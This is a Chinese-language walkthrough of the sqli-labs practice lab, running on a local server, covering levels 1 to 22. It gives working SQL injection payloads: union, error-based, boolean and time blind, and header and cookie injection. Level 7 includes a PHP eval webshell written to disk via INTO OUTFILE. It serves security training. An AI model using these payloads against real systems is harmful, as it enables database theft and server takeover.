本次环境搭建和upload-labs如出一辙,需要先下载源码,然后解压到phpstudy的根目录下,开启服务访问即可
源码:https://github.com/Audi-1/sqli-labs
小皮面板:https://www.xp.cn/download.html
打开我们刚刚下载且解压好的sqli-labs,并且进入到sql-connections目录,接着找到db-creds.inc文件右键使用记事本打开,将数据库密码添加为root

打开phpstudy,选择软件管理,下载php版本为5.3.29nts。切换到网站,选择管理,将php版本调整至5.3.29nts,不然后面会报错


首页启动apache和mysql服务

浏览器输入ip+www目录下的文件名


点reset database for labs

酱紫就可以了,回到index.html下开启挑战
第一关 ’闭合
通过报错可知,闭合符号是单引号
?id=1\

用orderby判断字段,数字为3时正常显示,变成4后报错
?id=1' order by 4 --+


获取数据库
?id=-1' union select 1,2,database() --+

获取表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security' --+

获取列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema ='security' and table_name ='users' --+

获取数据库信息
?id=-1' union select 1,2,group_concat(username) from security.users --+

获取password同理
第二关 数字型无闭合字符
进入页面,加上\判断闭合字符

发现是数字型的不需要闭合字符,我们直接进行order by 来判断出字段数为3

爆库

剩余步骤和第一关一样
第三关 ')闭合
判断

字段

剩下和前面一样,只是闭合方式不同
第四关 ")闭合

第五关 报错注入'闭合

发现没有显示位

因此我们利用报错注入
下面是三个常见函数
extractvalue()函数
extractvalue(参数1,参数2)
作用:对XML文档进行查询,相当于在HTML文件中用标签查找元素。
语法: extractvalue( XML_document, XPath_string )
参数1:XML_document是String格式,为XML文档对象的名称
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方
报错原理:xml文档中查找字符位置是用/xxx/xxx/xxx/...这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如:XPATH syntax error:'xxxxxxxx‘
最大只能显示32个字符,所以要配合limit进行使用
updatexml()函数
updatexml(参数1,参数2,参数3)
作用:改变文档中符合条件的节点的值。
语法: updatexml( XML_document, XPath_string, new_value )
参数1:XML_document是String格式,为XML文档对象的名称
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方
参数3:new_value,String格式,替换查找到的符合条件的数据
报错原理:同extractvalue()
exp()函数
exp()
作用:计算以e(自然常数)为底的幂值
语法: exp(x)
报错原理:当参数x超过710时,exp()函数会报错,错误信息如:DOUBLE value is of range
暴库:
extractvalue(1,concat('~',database()))
updatexml(1,concat('~',database()),1)
暴表:
extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='库名')))
updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='库名')),1)
查库名为security
?id=1' and extractvalue(1,concat('~',database())) --+

查表名
?id=1'and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+

查列名
?id=1'and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) --+

查数据
?id=1' and extractvalue(1,concat('~',(select group_concat(username) from security.users))) --+

第六关 报错注入"闭合

一样的操作
第七关 写马注入
在一些靶场中,有关sql注入的题有些会让你通过mysql 的file相关函数来进行读取敏感文件或者写入webshell
常见函数:
into dumpfile()
into outfile()
load_dile()
利用这些函数的前提是需要设置secure_file_priv
值为空,可以指定任意目录
值为某路径,就只能在这个指定路径下
值为null,禁止导入导出功能
提示我们使用outfile

使用错误的闭合符号会报错,因此可以通过这来确定最终的闭合符号,但是实测发现"))和'))这俩都可以


我们接着尝试字段,发现"))不行了,在前面得出字段就是3,题目共用一个数据库,那么就是'))。实战不建议这么搞,每个都试试


写入一句话木马
?id=1')) union select 1,2,"<?php @eval($_POST['root']);?>" into outfile "D://phpstudy_pro//WWW//sqli-labs//Less-7//shell.php" --+

这里注入是这样的,但是我本地始终生成不了文件,应该是默认没有开启secure_file_priv,理论上是这样的。再用webshell连接就行了
第八关 布尔盲注 '闭合
应用场景:在页面中不显示数据库信息,一般情况下只会显示对与错的内容
优点:不需要显示位和报错信息
缺点:速度慢,耗费大量时间
判断长度:
(length(database())=8)
判断字符:
ascii(substr(database(),1,1)) > 97
原理如上,去一个个acscii判断,实际应用的时候用bp集束炸弹爆破判断
判断表的个数:
(select count(table_name) from information_schema.tables where table_schema=database())=4
判断每个表的长度:
length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6
用limit x,1 来限制判断的是第几个表
判断表的字符:
和①同理,有长度就能利用ascii函数爆破出字段值
判断表中的字段的个数:
(select count(column_name) from information_schema.columns where table_name=‘users’ and table_schema=database())=3
判断每个字段的长度:
length(substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit 0,1),1))=2
判断每个字段的值:
这里和上述同理,字段有长度就可以通过bp结合ascii函数来爆破出字段的值
判断字段中数据的长度:
length((select id from users limit 0,1))=2
判断数据的值:
还是同理,有长度就能判断出来值
发现只有’和‘)时页面不显示,但是加上--+后只有'出现字符,')没变化,说明是'闭合

通过length函数去猜测数据库的长度为8,等于7时无回显


通过substr函数来控制截取的数据库名字的第x个字符,再通过ascii函数的值来判断字符是具体哪一个substr(string,1,2)的含义是从stirng字符串的第一个位置开始截取两个字符,这里从97测试到114,页面均无变化,当115时,字符消失,说明第一个字符的ascii是115
97 --+">http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr(database(),1,1)) > 97 --+


不断地通过ascii函数来缩小范围,最终确定第一个字符的ascii值是115,因此第一个字符是s,让我们用burpsuite来爆破出其它字符,设置爆破模式为集束炸弹,对特殊颜色两处选择插入负载,第一处表示第几个字符,第二处判断它是什么

我们很清楚数据库就是security(和前面的题目共用一个数据库),所以第一个载荷最高为设置为8,是他的字符个数,从2开始是因为我们已经判断出来第一个是s。97到122是26个英文字符小写,只是靶场这样搞,实战需考虑其他字符


攻击结果如下,找出返回值为936的,按Payload1数字顺序排列,得到数据库是security

得出数据库的名字后,用同样的方式去得出表名,先得出表的个数为4。3、2、1均无回显
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4 --+

通过limit 0,1来限制只获取第一个表名,通过subsrt来截取第一个表名的整个字符串,通过length来判断这个表名的长度
substr(sring,1)第三个参数省略的话是截取到字符串的末尾
判断出第一个表的长度是6,6以下均无回显
http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=6 --+

判断出第一个表的第一个字符的ascii值是101即e
http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=101 --+

现在我们想获取第四个表的长度

第四个表首字母为u,通过bp抓包再用爆破,修改如下图倒数的最后两个数字,分别为2到5和97到122,得到表名为users

获取第四个表字段个数
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='security')=3 --+

第四个表第一个字段长度
http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1))=2 --+

第四个表第一个字段字符为i,后续爆破得到为id
http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1))=105 --+

第四个表的数据总条数
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select count(*) from users)=13 --+

判断数据长度
http://127.0.0.1/sqli-labs/Less-8/?id=1' and length((select id from users limit 0,1))=1 --+

查数据 是1
http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select id from users limit 0,1),1))=49 --+

其他也这么查找
第九关 时间盲注’闭合
试闭合符号,发现不管怎么试结果都是you are in,因此不能用布尔盲注,我们接下来考虑使用时间盲注
如果正确和错误执行的返回界面一样,需要使用时间盲注,总体的原理和bool盲注相同,通过判断真和假来注入
判断注入:sleep()函数,让返回结果晚一会到,然后通过看反应时间来判断是否正确注入
判断:利用if()函数
if(1,2,3)如果1为true,执行2否则执行3
判断数据库长度和字符:
if((length(database())=8),sleep(3),1)
if((ascii(substr(database(),1,1)) =115 ),sleep(3),1)
判断表的数量:
if(((select count(table_name) from information_schema.tables where table_schema=database())=4),sleep(3),1)
判断表的长度:
if((length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6),sleep(3),1)
判断每个表的每个字符的ascii值:
if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(3),1)
判断表中字段的个数:
if(((select count(column_name) from information_schema.columns where table_name='users' and table_schema=database())=3),sleep(3),1)
判断字段的长度:
if((length(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1))=2),sleep(3),1)
判断字段的ascii值:
if((ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105),sleep(3),1)
判断数据的长度:
if((length((select id from users limit 0,1))=1),sleep(3),1) --+
判断数据的ascii值:
if((ascii(substr((select id from users limit 0,1),1,1))=49),sleep(3),1) --+
我们通过服务器返回数据时间来判断是否正确,因为如果闭合符号错误,后面的语句就执行不到,因此sleep函数就不会执行。我们可以明显感觉到响应时间慢了许多,抓包也看到完成总共用时五秒多,说明'闭合
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(1,sleep(5),1) --+

用同样的方法判断数据库长度
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())=8,sleep(5),1) --+

数据库第一个字符
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((ascii(substr(database(),1,1))=115),sleep(5),1) --+

使用bp爆破得到数据库为security,然后我们去获得表的个数为4个
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((select count(table_name) from information_schema.tables where table_schema='security')=4,sleep(5),1) --+
判断出第一个表的长度是6
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6),sleep(3),1) --+
后续操作同上一关盲注
第十关 时间盲注"闭合
和第九关一样,判断出是"闭合就好解
第十一关 POST'注入
和以往不同的是不再是get传参,而改成了post传参,我们的注入点从url变成了登录框,因为参数是通过登录框去传过去的

发现结果提示密码框有问题,我们直接在密码框也同样试一下

判断字段,输3会报错

查数据库
'union select 1,database()#

猜显示位数,获取数据库,获取表名,获取列名,获取数据
①uname=admin' and 1=2 union select 1,2 #
②uname=admin' and 1=2 union select 1,database() #
③uname=admin' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
④uname=admin' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
⑤uname=admin' and 1=2 union select 1,group_concat(username,password) from users #
后续操作和get一样
第十二关 POST注入")闭合
尝试发现输入"和")会报错,接着在后面加上union select 1,2,database()#发现只有")这个出现字符

后面同上
第十三关 POST报错注入')闭合,通过\判断
第十四关 POST报错注入"闭合,通过\判断
第十五关 POST布尔盲注'闭合
测试1' or 1=1#时,显示登陆成功

输入admin' and (length(database()))=8#正确
admin' and ascii(substr(database(),1,1))=115#正确
后续操作和get布尔注入一样
第十六关 POST 盲注")闭合
不断尝试发现")情况符合,看看能不能报错注入

失败,尝试布尔注入,成功

第十七关 POST 报错注入之密码框注入
进入页面,上面显示密码重置,这里不再是登录框而是密码修改的操作
此关经过尝试发现user一栏过滤的比较多,我们在pass尝试,报错注入成功
admin' and extractvalue(1,concat('~',database()))#

第十八关
$uagent = $_SERVER['HTTP_USER_AGENT']; 获取用户端的相关信息
$IP = $_SERVER['REMOTE_ADDR']; 获取用户端的IP地址
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
进入页面,发现页面显示我们的IP信息,推测它获得了用户的一些相关信息,通过源码可知,这里我们知道在报文头获取的useragent后续通过insert来交互,因此可以通过useragent来进行注入,必须要登陆账号密码
1',1,updatexml(1,concat(0x5e,database()),1))#

可以理解为只是注入点变了一个位置,但是我们必须按照他给的insert格式注入
第十九关
与18题同理,这题的注入点在报文头的reference里面
1',1,updatexml(1,concat(0x5e,database()),1))#

第二十关
进入页面随便注入,提示让我们利用cookie字段去注入
我们需先登录有cooike才能去注入,这个是get请求

第二十一关
由源代码可知,这里源码中对cookie进行了一个base64解码,因此我们传进去的cookie需要先经过base64加密才能通过
源码是') and extractvalue(1,concat('~',database())) -- abc

第二十二关
和二十一关一样,只是闭合方式不同,变成了"闭合
Comments NOTHING